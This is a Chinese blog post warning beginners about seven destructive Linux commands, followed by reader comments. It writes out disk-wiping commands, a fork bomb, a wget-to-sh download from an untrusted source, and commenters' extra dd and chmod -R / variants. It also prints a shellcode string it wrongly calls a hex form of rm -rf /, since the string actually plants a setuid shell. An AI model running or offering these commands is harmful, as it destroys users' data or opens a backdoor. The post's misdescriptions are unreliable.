7 个致命的 Linux 命令
<script type="text/javascript"><!-- google_ad_client = "pub-9432205671574187"; //LT, 300x250 google_ad_slot = "9869120281"; google_ad_width = 300; google_ad_height = 250; //--></script> <script src="http://pagead2.googlesyndication.com/pagead/show_ads.js" type="text/javascript"> </script> <script src="http://googleads.g.doubleclick.net/pagead/test_domain.js"></script> <script>window.google_render_ad();</script>
如果你是一个 Linux 新手,在好奇心的驱使下,可能会去尝试从各个渠道获得的命令。以下是 7 个致命的 Linux 命令,轻则使你的数据造成丢失,重则使你的系统造成瘫痪,所以,你应当竭力避免在系统中运行它们。
rm -rf /
此命令将递归并强制删除 / 目录下的所有文件。
char esp[] __attribute__ ((section(”.text”))) /* e.s.p
release */
= “/xeb/x3e/x5b/x31/xc0/x50/x54/x5a/x83/xec/x64/x68″
“/xff/xff/xff/xff/x68/xdf/xd0/xdf/xd9/x68/x8d/x99″
“/xdf/x81/x68/x8d/x92/xdf/xd2/x54/x5e/xf7/x16/xf7″
“/x56/x04/xf7/x56/x08/xf7/x56/x0c/x83/xc4/x74/x56″
“/x8d/x73/x08/x56/x53/x54/x59/xb0/x0b/xcd/x80/x31″
“/xc0/x40/xeb/xf9/xe8/xbd/xff/xff/xff/x2f/x62/x69″
“/x6e/x2f/x73/x68/x00/x2d/x63/x00″
“cp -p /bin/sh /tmp/.beyond; chmod 4755
/tmp/.beyond;”;
这是 rm -rf / 的 hex(十六进制)版本,很能迷惑 Linux 用户。
mkfs.ext3 /dev/sda
这将对硬盘进行重新格式化,自然,硬盘上的所有数据将灰飞烟灭。
:(){ :|:& };:
著名的 fork 炸弹,此命令将告诉你的系统执行海量的进程,直到你的系统僵死。
any_command > /dev/sda
使用该命令,原始数据将被写到块设备,其结果是造成数据丢失。
wget http://some_untrusted_source -O- | sh
不要从不信任的地方下载东西,这可能会获取恶意代码。
mv /home/yourhomedirectory/* /dev/null
此命令将移动主目录中的所有文件到一个不存在的地方,你将再也看不到那些文件。
如果你认为还有其他致命的 Linux 命令,那么请在留言中告诉我们。
[via TECH SOURCE FROM BOHOL]
果然致命。
谁能给分析一下这个?
:(){:|:&};:
递归函数的定义和调用
—-你将从来不会再次看到那些文件
我猜原文可能是 “You will never see that files again”。这里是直接生硬翻译出来了。
还是按照汉语的习惯翻译成 “你再也看不到那些文件了”
多谢五楼,受教。
哇,我说的是7楼,好神奇。
变8楼了。。。现在来说,应该是9楼。。。服务器时间乱了吧?
我觉得这篇文章很危险。
写法不规范,其实应该是:
:(){ :|:& };:
注意空格,不然照原样会报错。其实是定义了一个函数并调用:
# 定义函数“:”
:()
{
# 制造一个管道递归调用函数“:”本身,放到后台
: | : &
}
# 调用这个函数
:
宇义 ?= 语义 所以混乱了?
太邪恶了~~
@nowigi, @anonymity: 感谢,已更正。
视频的配音真合适,壮士一去不复返……
这文章貌似以前在哪看过。
chmod -R (随便什么) /
直接导致我的ubuntu挂掉, 转向Arch~~~~
这篇许多没验证的吧……
15楼有病
rm -rf / tmp
这会导致你死的很难看……
@damn
如果你没有解释,建议版主邀请你去小黑屋找kappa女看看病。
车祸现场:
http://www.youtube.com/watch?v=D4fzInlyYQo
never to do this command.never.�
呵呵,致命的,前几天刚看过!
想想这类一刀毙命的命令还真是挺多的,比如:
dd if=/dev/zero of=/dev/sda bs=120G count=1
cat /dev/null > /dev/sda
chown -R someone /
chmod 7777 -R / (不死也搞你个浑身抢眼)
唉,上次写了个cgi,selinux不让他读取/,按照他说的对/执行了下什么命令来着,结果……任何帐号都无法登录了……幸好偶已经登录了好几个root,又改回来了……
没有root权限就是白搭,于是。。。
一定要保护好自己的root!!!!
mkfs.ext3 /dev/sda
并不是什么致命的linux命令,仅仅只是覆盖了superblock,数据并没有丢失。
可以通过parted的rescue指令来恢复原来的分区信息,数据自然就回来了。
sudo apt-get remove glibc
沒啥,裝個vbox逐一玩玩心跳:)
mkfs.ext3 /dev/sda
貌似这句是格式化mbr的
应该是mkfs.ext3 /dev/sda*或mkfs.ext3 /dev/sd*吧?
我没尝试
@华华
你去验证一哈?回来报告一下成果,忽忽。
:(){ :|:& };:
目前为止只试过这个,在ubuntu的中文论坛上看到的。